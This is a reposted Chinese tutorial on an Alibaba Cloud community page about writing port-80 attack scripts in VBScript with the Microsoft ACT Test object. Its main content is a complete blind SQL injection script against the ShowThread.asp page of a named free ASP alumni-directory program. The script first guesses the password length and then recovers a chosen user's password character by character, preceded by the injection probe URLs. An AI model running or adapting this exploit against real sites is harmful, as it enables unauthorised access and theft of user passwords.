用vbs來寫sql注入等80埠的攻擊腳本

來源:互聯網
上載者:User
關鍵字 腳本

仲介交易 SEO診斷 淘寶客 雲主機 技術大廳

來源:HTTP://www.viphot.com/

昨天晚上在機器裡亂翻時無意打開一個vbs腳本,突然發現一個以前沒有見過的物件Test.SendRequest("HTTP://" & g_sServer & "/testfiles/browser.asp"), 雖然物件沒有見過,但是意思很明顯:發送HTTP請求。 本來以為是WMI script API的東東,但是沒有找到創建物件的語句,這個腳本在Microsoft ACT裡,Microsoft ACT是Visual Studio.Net帶的一個測試網站的工具(Long,未來有用過這個嗎? 如果沒有,你看這個如何?),以前打開過,但是沒有研究過如何使用,於是我打開説明檔(查過MSDN裡有:ms-help://MS. VSCC/MS. MSDNVS.2052/act/htm/actml_main.htm),大致的讀了一下,竟然是一整套的HTTP用戶端物件(不知道這樣說是不是準確),把物件和屬性列出來,你看了就可以知道了,以下是Test物件模型, 還有個application物件模型,如果你有深入瞭解的興趣請看msdn,我還在學習中:

-Connection物件

Close方法

Send方法

IsOpen屬性

Port屬性

RedirectDepth屬性

Server屬性

UseSSL屬性

-Cookie物件//因為是測試網站的,用腳本程式類比多使用者,這個可以用來設置每個使用者的cookie,那也該可以用來做手腳,呵呵

Expires屬性

Name屬性

Path屬性

Value屬性

-Cookies物件

Add方法

Remove方法

RemoveAll方法

Count屬性

Item屬性

-Header物件

Name屬性

Value屬性

-Request物件

Body屬性

CodePage屬性

EncodeBody屬性

EncodeQueryAsUTF8屬性

Headers屬性

HTTPVersion屬性

Path屬性

ResponseBufferSize屬性

Verb屬性

-Response物件

Body屬性 //獲取 HTTP 回應的正文。 僅返回回應緩衝區中的正文部分。

CodePage屬性

BytesRecv屬性

BytesSent屬性

ContentLength屬性

Headers屬性

HeaderSize屬性

HTTPVersion屬性

Path屬性

Port屬性

ResultCode屬性

HTTP狀態碼

Server屬性

TTFB屬性

TTLB屬性

UseSSl屬性

-Test物件

CreateConnection方法

CreateRequest方法

GetCurrentUser方法

GetGlobalIndex方法

GetGlobalVariable方法

GetNextUser方法

IncrementGlobalIndex方法

SendRequest方法

SetGlobalIndex方法

SetGlobalVariable方法

Sleep方法

Trace方法

TraceLevel屬性

-User物件

Cookies屬性

Name屬性

Password屬性

到此,你也許會想到很多用處,比如測試網站,測試伺服器,測試程式,Cookie偽造... 看你的想像力了,我第一件感興趣的是開頭提到的那句:Test.SendRequest("HTTP://" & g_sServer & "/testfiles/browser.asp"), Test物件的SendRequest方法說明:

oResponse = Test.SendRequest(strURL)

參數:strURL as string:表示所請求的URL

傳回值:oResponse As Reponse:表示代表回應請求的Web伺服器回應的物件(就是上面的Response物件)

這個物件讓我們可以很容易的寫出針對80埠的攻擊程式,如溯雪的功能,現在流行sql injection,網上的sql injection的攻擊程式大都用perl寫的,我又不會perl, 用C寫一個完整的socket程式相對煩瑣一些,是這個物件為vbs提供了可能,而且程式相當簡單,雖然犧牲了效率,但是對於我們菜鳥不失為一個好辦法,下面就舉一個例子來說明:

風月同學錄是一套免費的asp同學錄程式,可能你沒有聽說過,不過在同學錄類的免費web程式中算是功能出色的了,所以有不少網站採用了或者修改後使用了它(我念過的那所高中的網站的同學錄就是用的這套程式改寫的), 我手上有V1.60,去年從網上down下來的,寫這篇時在寢室,上不了網,也無法得到最新的版本了,反正也只是個例子,就湊合用吧,呵呵。 大致看了一些代碼發現多處可以注入的地方,最明顯(因為在首頁就看到)的就是它的一個論壇形式的留言板ShowThread.asp裡:

...

topicid=request("RootID")

sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid

set rs=conn.execute(sql)

...

非常古老且經典的一個,呵呵,試了下:

HTTP://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1

HTTP://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2

資料表結構我都知道,使用者名也都可以在使用者清單看出來,那麼這個例子就演示一下猜解密碼,什麼?太簡單了?只是個例子嘛,別笑哦~~寫的時候也不是一帆風順~~寫的很差,尤其迴圈裡如果探測到正確的就應該退出迴圈, 但是想不起來怎麼退出了(break?exit?),不過對於這個密碼明文存放的程式來說已經夠了,一個6位的密碼用了15秒左右猜出,改進下會提高不少,但效率上始終和perl不能比了。

要使用這個物件要裝Microsoft ACT是Visual Studio.Net裡一個工具,我在另一台機器上直接用regsrv32註冊相關的dll失敗了,所以還是要裝一下。

'*********************************************

'風月同學錄V1.60漏洞測試腳本 by luoluo

'注意:需要裝Visual Studio.Net裡的ACT工具

'*********************************************

'**********************************優化了下,效率要高些

Option Explicit

On Error Resume Next

Dim Test

Dim o_Response

Dim Wrong

Dim i,j,k

Dim pwd_len

Dim pwd

Dim strings

Dim username

'從命令列得到要破解的人的使用者名

If WScript.Arguments.Count > 0 Then

username = WScript.Arguments(0)

Else

username = "luoluo"

End If

WScript.Echo "開始探測,請等待... ..."

'正確頁面的標誌,這個隨便找的,因為只要是兩個頁面返回的不同部分就可以了

Wrong = "luoluoisachinesehacker"

'存放密碼

pwd = ""

'密碼的字元範圍

strings = "0123456789abcdefghijklmnopqrstuvwxyz"

'建立物件

Set Test = CreateObject("ACT. Test")

'得到使用者的密碼的長度

For i = 0 to 128 step 1

'發送請求,返回一個Response物件,位址長可以用&分成段,那樣好看一些

Set o_Response = Test.SendRequest("HTTP://192.168.101.16/txl/ShowThread.asp? RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)='" & i & "'%20and% 20userid='" & username & "')")

'如果返回的頁面裡有正確標誌那麼長度就對了

If instr(o_Response.Body, Wrong) <> 0 Then

pwd_len = "" & i & ""

Exit For

End If

Next

'猜解使用者的密碼

For j = 1 to pwd_len step 1

For k = 1 to len(strings) step 1

Set o_Response = Test.SendRequest("HTTP://192.168.101.16/txl/ShowThread.asp? RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")

If instr(o_Response.Body, Wrong) <> 0 Then

pwd = pwd & mid(strings,k,1)

Exit For

End If

Next

Next

If err Then

WScript.Echo "錯誤:" & Error.Description

Error.Clear

Else

'輸出密碼

WScript.Echo "密碼:" & pwd

End If

Set Test = nothing

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.